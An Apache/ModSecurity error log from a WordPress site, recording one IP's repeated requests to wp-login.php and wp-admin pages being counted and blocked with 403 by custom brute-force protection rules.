[Fri Feb 27 20:59:11.859491 2026] [:error] [pid 49306:tid 49326] [client 159.203.62.100:35212] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/edit.php"] [unique_id "aaGVH_nSUDZue59Px9sG7wAAAVI"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:59:12.767429 2026] [:error] [pid 62998:tid 63005] [client 159.203.62.100:35218] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/plugins.php"] [unique_id "aaGVIFQeueXZDUmoLok-bAAAAQM"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:59:13.600887 2026] [:error] [pid 56075:tid 56084] [client 159.203.62.100:35224] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGVIcKBhrfI6KNv9RiywAAAAAc"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:59:13.600942 2026] [:error] [pid 56075:tid 56084] [client 159.203.62.100:35224] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGVIcKBhrfI6KNv9RiywAAAAAc"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:59:15.794666 2026] [:error] [pid 56075:tid 56087] [client 159.203.62.100:35234] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGVI8KBhrfI6KNv9RiyyQAAAAo"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:59:17.018136 2026] [:error] [pid 56075:tid 56102] [client 159.203.62.100:35234] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGVJcKBhrfI6KNv9RiyywAAABg"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:59:18.206479 2026] [:error] [pid 56075:tid 56097] [client 159.203.62.100:35234] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 13"] [hostname "gigfragments.org"] [uri "/wp-admin/index.php"] [unique_id "aaGVJsKBhrfI6KNv9Riy2AAAABM"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:59:19.049729 2026] [:error] [pid 52073:tid 52080] [client 159.203.62.100:35238] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 13"] [hostname "gigfragments.org"] [uri "/wp-admin/profile.php"] [unique_id "aaGVJ4a650YPyxXVeRY7uwAAAYQ"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:59:19.889978 2026] [:error] [pid 54103:tid 54173] [client 159.203.62.100:47572] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 13"] [hostname "gigfragments.org"] [uri "/wp-admin/edit.php"] [unique_id "aaGVJ-vG4MPCmE0B2sCf_QAAAMI"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:59:20.733752 2026] [:error] [pid 54103:tid 54178] [client 159.203.62.100:47580] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 13"] [hostname "gigfragments.org"] [uri "/wp-admin/plugins.php"] [unique_id "aaGVKOvG4MPCmE0B2sCgAAAAAMc"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:59:21.575791 2026] [:error] [pid 54102:tid 54163] [client 159.203.62.100:47592] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGVKXi74D4fiYUm_GdqRgAAAJM"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:59:21.575866 2026] [:error] [pid 54102:tid 54163] [client 159.203.62.100:47592] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGVKXi74D4fiYUm_GdqRgAAAJM"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:59:22.425097 2026] [:error] [pid 54101:tid 54119] [client 159.203.62.100:47602] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/index.php"] [unique_id "aaGVKlY5qgRktcYTGFs9PAAAAcs"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:59:23.267141 2026] [:error] [pid 62998:tid 63009] [client 159.203.62.100:47616] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/profile.php"] [unique_id "aaGVK1QeueXZDUmoLok-ggAAAQc"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:59:24.098554 2026] [:error] [pid 54103:tid 54192] [client 159.203.62.100:47628] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/edit.php"] [unique_id "aaGVLOvG4MPCmE0B2sCgBQAAANU"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:59:24.960708 2026] [:error] [pid 54231:tid 54241] [client 159.203.62.100:47632] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/plugins.php"] [unique_id "aaGVLOTvb5AeyJCdY7AJhAAAAEc"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:59:25.804323 2026] [:error] [pid 56075:tid 56082] [client 159.203.62.100:47638] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGVLcKBhrfI6KNv9Riy-AAAAAU"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:59:28.310941 2026] [:error] [pid 56075:tid 56097] [client 159.203.62.100:47638] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGVMMKBhrfI6KNv9RizAQAAABM"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:59:29.582362 2026] [:error] [pid 56075:tid 56080] [client 159.203.62.100:47638] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGVMcKBhrfI6KNv9RizAwAAAAM"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:59:32.146208 2026] [:error] [pid 56075:tid 56101] [client 159.203.62.100:47638] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGVNMKBhrfI6KNv9RizFQAAABc"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:59:33.480764 2026] [:error] [pid 56075:tid 56101] [client 159.203.62.100:47638] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGVNcKBhrfI6KNv9RizGwAAABc"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:59:36.153239 2026] [:error] [pid 56075:tid 56099] [client 159.203.62.100:47638] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGVOMKBhrfI6KNv9RizJwAAABU"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:59:37.359988 2026] [:error] [pid 56075:tid 56084] [client 159.203.62.100:47638] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGVOcKBhrfI6KNv9RizKwAAAAc"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:59:40.057319 2026] [:error] [pid 56075:tid 56081] [client 159.203.62.100:47638] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGVPMKBhrfI6KNv9RizQAAAAAQ"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:59:40.057433 2026] [:error] [pid 56075:tid 56081] [client 159.203.62.100:47638] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGVPMKBhrfI6KNv9RizQAAAAAQ"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:59:40.892476 2026] [:error] [pid 56075:tid 56082] [client 159.203.62.100:42236] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/profile.php"] [unique_id "aaGVPMKBhrfI6KNv9RizSAAAAAU"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:59:41.737138 2026] [:error] [pid 62998:tid 63006] [client 159.203.62.100:42248] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/edit.php"] [unique_id "aaGVPVQeueXZDUmoLok-qQAAAQQ"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:59:42.595132 2026] [:error] [pid 54103:tid 54185] [client 159.203.62.100:42254] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/plugins.php"] [unique_id "aaGVPuvG4MPCmE0B2sCgCgAAAM4"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:59:43.438167 2026] [:error] [pid 52073:tid 52084] [client 159.203.62.100:42264] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGVP4a650YPyxXVeRY70wAAAYg"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:59:43.438234 2026] [:error] [pid 52073:tid 52084] [client 159.203.62.100:42264] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGVP4a650YPyxXVeRY70wAAAYg"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:59:45.690937 2026] [:error] [pid 56075:tid 56084] [client 159.203.62.100:42272] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGVQcKBhrfI6KNv9RizZwAAAAc"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:59:45.691105 2026] [:error] [pid 56075:tid 56084] [client 159.203.62.100:42272] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGVQcKBhrfI6KNv9RizZwAAAAc"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:59:46.529227 2026] [:error] [pid 52073:tid 52095] [client 159.203.62.100:42274] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/profile.php"] [unique_id "aaGVQoa650YPyxXVeRY73QAAAZM"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:59:47.384258 2026] [:error] [pid 54103:tid 54170] [client 159.203.62.100:42284] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/edit.php"] [unique_id "aaGVQ-vG4MPCmE0B2sCgDQAAAMA"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:59:48.216741 2026] [:error] [pid 56075:tid 56086] [client 159.203.62.100:42288] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/plugins.php"] [unique_id "aaGVRMKBhrfI6KNv9RizcgAAAAk"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:59:49.054044 2026] [:error] [pid 56075:tid 56085] [client 159.203.62.100:42302] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGVRcKBhrfI6KNv9RizeQAAAAg"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:59:51.765053 2026] [:error] [pid 56075:tid 56098] [client 159.203.62.100:42302] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGVR8KBhrfI6KNv9RizhAAAABQ"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:59:53.051531 2026] [:error] [pid 56075:tid 56079] [client 159.203.62.100:42302] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGVScKBhrfI6KNv9RizhQAAAAI"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:59:55.904465 2026] [:error] [pid 56075:tid 56093] [client 159.203.62.100:42302] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGVS8KBhrfI6KNv9RizjwAAAA8"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:59:55.904529 2026] [:error] [pid 56075:tid 56093] [client 159.203.62.100:42302] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGVS8KBhrfI6KNv9RizjwAAAA8"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:59:56.738509 2026] [:error] [pid 62998:tid 63026] [client 159.203.62.100:36134] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/profile.php"] [unique_id "aaGVTFQeueXZDUmoLok-vgAAARg"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:59:57.579630 2026] [:error] [pid 54231:tid 54237] [client 159.203.62.100:36140] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/edit.php"] [unique_id "aaGVTeTvb5AeyJCdY7AJmwAAAEM"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:59:58.417346 2026] [:error] [pid 62998:tid 63008] [client 159.203.62.100:36150] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/plugins.php"] [unique_id "aaGVTlQeueXZDUmoLok-wwAAAQY"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:59:59.265140 2026] [:error] [pid 56075:tid 56080] [client 159.203.62.100:46916] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGVT8KBhrfI6KNv9RizqgAAAAM"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:00:00.574184 2026] [:error] [pid 56075:tid 56082] [client 159.203.62.100:46916] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/index.php"] [unique_id "aaGVUMKBhrfI6KNv9RizrgAAAAU"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:00:01.411971 2026] [:error] [pid 56075:tid 56087] [client 159.203.62.100:46922] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/profile.php"] [unique_id "aaGVUcKBhrfI6KNv9RizsQAAAAo"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:00:02.247702 2026] [:error] [pid 56075:tid 56102] [client 159.203.62.100:46926] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/edit.php"] [unique_id "aaGVUsKBhrfI6KNv9RizuQAAABg"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:00:03.081491 2026] [:error] [pid 56075:tid 56096] [client 159.203.62.100:46934] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/plugins.php"] [unique_id "aaGVU8KBhrfI6KNv9RizvQAAABI"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:00:03.919543 2026] [:error] [pid 52073:tid 52093] [client 159.203.62.100:46936] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGVU4a650YPyxXVeRY8DQAAAZE"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:00:06.602609 2026] [:error] [pid 52073:tid 52084] [client 159.203.62.100:46936] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGVVoa650YPyxXVeRY8FgAAAYg"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:00:07.884768 2026] [:error] [pid 52073:tid 52100] [client 159.203.62.100:46936] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGVV4a650YPyxXVeRY8GgAAAZg"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:00:07.884826 2026] [:error] [pid 52073:tid 52100] [client 159.203.62.100:46936] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 12"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGVV4a650YPyxXVeRY8GgAAAZg"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:00:10.103229 2026] [:error] [pid 54231:tid 54254] [client 159.203.62.100:46950] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGVWuTvb5AeyJCdY7AJpgAAAFQ"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:00:11.410635 2026] [:error] [pid 54231:tid 54239] [client 159.203.62.100:46950] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGVW-Tvb5AeyJCdY7AJqQAAAEU"], referer: https://gigfragments.org/wp-login.php
